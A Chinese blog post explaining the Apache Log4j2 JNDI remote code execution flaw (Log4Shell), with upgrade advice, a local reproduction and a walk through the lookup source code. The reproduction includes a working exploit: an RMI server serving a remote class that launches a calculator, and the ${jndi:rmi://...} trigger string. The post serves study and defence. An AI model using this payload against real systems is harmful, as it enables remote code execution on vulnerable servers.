漏洞的前因后果
2021 年 12 月 9 日,2021 年 11 月 24 日,阿里云安全團(tuán)隊(duì)向 Apache 官方報(bào)告了 Apache Log4j2 遠(yuǎn)程代碼執(zhí)行漏洞。詳情見(jiàn) 【漏洞預(yù)警】Apache Log4j 遠(yuǎn)程代碼執(zhí)行漏洞
漏洞描述
Apache Log4j2 是一款優(yōu)秀的 Java 日志框架。2021 年 11 月 24 日,阿里云安全團(tuán)隊(duì)向 Apache 官方報(bào)告了 Apache Log4j2 遠(yuǎn)程代碼執(zhí)行漏洞。由于 Apache Log4j2 某些功能存在遞歸解析功能,攻擊者可直接構(gòu)造惡意請(qǐng)求,觸發(fā)遠(yuǎn)程代碼執(zhí)行漏洞。漏洞利用無(wú)需特殊配置,經(jīng)阿里云安全團(tuán)隊(duì)驗(yàn)證,Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等均受影響。阿里云應(yīng)急響應(yīng)中心提醒 Apache Log4j2 用戶盡快采取安全措施阻止漏洞攻擊。
漏洞評(píng)級(jí)
Apache Log4j 遠(yuǎn)程代碼執(zhí)行漏洞 嚴(yán)重。
影響版本
Apache Log4j 2.x <= 2.14.1
安全建議
1、升級(jí) Apache Log4j2 所有相關(guān)應(yīng)用到最新的 log4j-2.15.0-rc1 版本,地址 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1
2、升級(jí)已知受影響的應(yīng)用及組件,如 srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid。
本地復(fù)現(xiàn)漏洞
首先需要使用低版本的 log4j 包,我們?cè)诒镜匦陆ㄒ粋€(gè) Spring Boot 項(xiàng)目,使用 2.5.7 版本的 Spring Boot,可以看到一老的 log4j 是 2.14.1,可以復(fù)現(xiàn)漏洞。

參考 Apache Log4j Lookups,我們先使用代碼在 log 里獲取一下 java:vm。
本地打印 JVM 基礎(chǔ)信息
@SpringBootTest
class Log4jApplicationTests {
private static final Logger logger = LogManager.getLogger(SpringBootTest.class);
@Test
void log4j() {
logger.info("content {}", "${java:vm}");
}
}
可以發(fā)現(xiàn)輸出是:
content Java HotSpot(TM) 64-Bit Server VM (build 25.152-b16, mixed mode)
使用 JavaLookup 獲取到了 JVM 的相關(guān)信息(需要使用java前綴)。
本地獲取服務(wù)器的打印信息
本地啟動(dòng)一個(gè) RMI 服務(wù):
public class Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
String url = "http://127.0.0.1:8081/";
// Reference 需要傳入三個(gè)參數(shù) (className,factory,factoryLocation)
// 第一個(gè)參數(shù)隨意填寫(xiě)即可,第二個(gè)參數(shù)填寫(xiě)我們 http 服務(wù)下的類(lèi)名,第三個(gè)參數(shù)填寫(xiě)我們的遠(yuǎn)程地址
Reference reference = new Reference("ExecCalc", "ExecCalc", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("calc", referenceWrapper);
}
}
ExecCalc 類(lèi)直接放在根目錄,不能申請(qǐng)包名,即不能存在 package xxx。聲明后編譯的 class 文件函數(shù)名稱會(huì)加上包名從而不匹配。參考 Java 安全-RMI-JNDI 注入。
public class ExecCalc {
static {
try {
System.out.println("open a Calculator!");
Runtime.getRuntime().exec("open -a Calculator");
} catch (Exception e) {
e.printStackTrace();
}
}
}
之后啟動(dòng)上面的 Server 類(lèi),再執(zhí)行下面的代碼:
@Test
void log4jEvil() {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
logger.info("${jndi:rmi://127.0.0.1:1099/calc}");
}
發(fā)現(xiàn)測(cè)試用例的控制臺(tái)輸出了 open a Calculator! 并啟動(dòng)了計(jì)算器。
log4j 漏洞源碼分析
只看 logger.info("${jndi:rmi://127.0.0.1:1099/calc}"); 這段代碼,首先會(huì)調(diào)用到 org.apache.logging.log4j.core.config.LoggerConfig#processLogEvent:
private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {
event.setIncludeLocation(isIncludeLocation());
if (predicate.allow(this)) {
callAppenders(event);
}
logParent(event, predicate);
}
其中 LogEvent 結(jié)構(gòu)如下:

encode 對(duì)應(yīng)的事件,將 ${param} 里的 param 解析出來(lái),org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender#tryAppend
private void tryAppend(final LogEvent event) {
if (Constants.ENABLE_DIRECT_ENCODERS) {
directEncodeEvent(event);
} else {
writeByteArrayToManager(event);
}
}
protected void directEncodeEvent(final LogEvent event) {
getLayout().encode(event, manager);
if (this.immediateFlush || event.isEndOfBatch()) {
manager.flush();
}
}
調(diào)用 org.apache.logging.log4j.core.lookup.StrSubstitutor#resolveVariable,將對(duì)應(yīng)參數(shù)解析出結(jié)果。
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
final int startPos, final int endPos) {
final StrLookup resolver = getVariableResolver();
if (resolver == null) {
return null;
}
return resolver.lookup(event, variableName);
}

和官方文檔上是能夠?qū)?yīng)上的,即 log 里只解析前綴為 date、jndi 等的命令,本文的測(cè)試用例使用的是 ${jndi:rmi://127.0.0.1:1099/calc}。
解析出參數(shù)的結(jié)果, org.apache.logging.log4j.core.lookup.Interpolator#lookup
@Override
public String lookup(final LogEvent event, String var) {
if (var == null) {
return null;
}
final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
if (prefixPos >= 0) {
final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
final String name = var.substring(prefixPos + 1);
final StrLookup lookup = strLookupMap.get(prefix);
if (lookup instanceof ConfigurationAware) {
((ConfigurationAware) lookup).setConfiguration(configuration);
}
String value = null;
if (lookup != null) {
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
}
if (value != null) {
return value;
}
var = var.substring(prefixPos + 1);
}
if (defaultLookup != null) {
return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);
}
return null;
}
其核心是這段代碼:
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
org.apache.logging.log4j.core.lookup.JndiLookup#lookup

接下來(lái)就是調(diào)用 javax.naming 的 JDK 相關(guān)代碼,遠(yuǎn)程加載了 ExecCalc 類(lèi),在本地輸出了 open a Calculator! 并啟動(dòng)了計(jì)算器。
擴(kuò)展:JNDI
JNDI (Java Naming and Directory Interface) 是一組應(yīng)用程序接口,它為開(kāi)發(fā)人員查找和訪問(wèn)各種資源提供了統(tǒng)一的通用接口,可以用來(lái)定位用戶、網(wǎng)絡(luò)、機(jī)器、對(duì)象和服務(wù)等各種資源。比如可以利用 JNDI 在局域網(wǎng)上定位一臺(tái)打印機(jī),也可以用 JNDI 來(lái)定位數(shù)據(jù)庫(kù)服務(wù)或一個(gè)遠(yuǎn)程 Java 對(duì)象。JNDI 底層支持 RMI 遠(yuǎn)程對(duì)象,RMI 注冊(cè)的服務(wù)可以通過(guò) JNDI 接口來(lái)訪問(wèn)和調(diào)用。
JNDI 是應(yīng)用程序設(shè)計(jì)的 Api,JNDI 可以根據(jù)名字動(dòng)態(tài)加載數(shù)據(jù),支持的服務(wù)主要有以下幾種:DNS、LDAP、 CORBA 對(duì)象服務(wù)、RMI 等等。
其應(yīng)用場(chǎng)景比如:動(dòng)態(tài)加載數(shù)據(jù)庫(kù)配置文件,從而保持?jǐn)?shù)據(jù)庫(kù)代碼不變動(dòng)等。

危害是什么?
- client 可以獲取服務(wù)器的某些信息,通過(guò) JNDI 遠(yuǎn)程加載類(lèi)
- client 向服務(wù)器注入惡意代碼
GitHub 項(xiàng)目
Java 編程思想-最全思維導(dǎo)圖-GitHub 下載鏈接,需要的小伙伴可以自取~
原創(chuàng)不易,希望大家轉(zhuǎn)載時(shí)請(qǐng)先聯(lián)系我,并標(biāo)注原文鏈接。